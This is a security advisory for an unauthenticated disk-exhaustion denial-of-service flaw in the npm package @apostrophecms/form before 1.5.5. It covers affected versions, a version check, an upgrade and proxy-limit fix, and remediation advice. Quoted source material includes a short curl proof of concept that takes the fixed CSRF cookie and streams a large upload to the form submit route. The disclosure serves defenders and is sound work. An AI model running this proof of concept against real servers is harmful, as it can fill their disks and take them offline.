---
id: "CVE-2026-113656"
kind: "vulnerability"
aliases: ["CVE-2026-113656", "GHSA-89mh-mm8c-mv7f"]
title: "ApostropheCMS: Unauthenticated unbounded multipart upload \u2192 disk-exhaustion DoS"
severity: "medium"
cvss: 5.300000190734863
epss: 0.004370000213384628
exploited: false
status: "open"
category: "package"
products: [{"name": "@apostrophecms/form", "fixed": ["1.5.5"], "affected": "< 1.5.5", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["apostrophecms", "cwe-770", "node", "npm", "package", "self-hosted"]
not_affected_if: ["managed-hosting-with-body-limits", "no-form-module", "version-1.5.5-or-later"]
published_at: "2026-10-20T17:17:36+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:20+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-89mh-mm8c-mv7f", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113656", "first_seen_at": "2026-10-23T21:57:20+00:00"}]
---

# ApostropheCMS: Unauthenticated unbounded multipart upload → disk-exhaustion DoS

The ApostropheCMS form submission endpoint buffers any uploaded multipart body to the temp directory before checking authentication or whether the form exists, with no size limits. An anonymous attacker can fill server disk space and exhaust resources with large uploads.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:@apostrophecms/form affected < 1.5.5 fixed 1.5.5

## How to check

Run npm ls @apostrophecms/form and check whether the resolved version is below 1.5.5.
If it is, the POST /api/v1/@apostrophecms/form/submit route is reachable without credentials on the site.

## Fix

Upgrade @apostrophecms/form to 1.5.5 or later.
Until then, put a request body size limit in front of the submit route at the reverse proxy.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-89mh-mm8c-mv7f
- 2026-10-23T21:57:20+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113656

## From the sources

**Summary**
The form submission endpoint runs `multer({ dest: os.tmpdir() }).any()` before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size/count/rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.

**Details**
`packages/form/index.js` `apiRoutes.post.submit` (L274–296): `[ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]`. No `limits`, no rate limiting, no pre-validation. "CSRF" is a fixed-value double-submit cookie (`vulnlab.csrf=csrf`, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.

**PoC**
```
$ curl -s -c csrfjar.cookies http://localhost:3100/        # get vulnlab.csrf=csrf (any GET)
$ df -P /tmp                                                # before: used=1105212
$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \
      -F "file=@/tmp/opencode/big.bin;type=application/octet-stream" &
   DURING transfer:    used=1148668
   still transferring: used=1226936        # +121MB mid-transfer on disk
   http=500 time=1.78s sent=209715411B     # generic error AFTER full staging
# Anonymous, zero credentials. 200MB written to /tmp pre-validation.
```

**Impact**
Any unauthenticated client can force the server to persist entire request bodies to the temp filesystem and CPU-decode them; parallel requests exhaust disk `/tmp` (process/host crash) and saturate the event loop — a trivial remote DoS. Aborted transfers risk orphaning staged files (no `req.aborted` cleanup).


**Remediation** — Set multer `limits` (fileSize, fields, parts, fieldSize); perform auth/role/existence checks before the multer mount or inside the checked handler; unlink staged files on first read and on `req.aborted`/error; add per-IP rate limiting.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_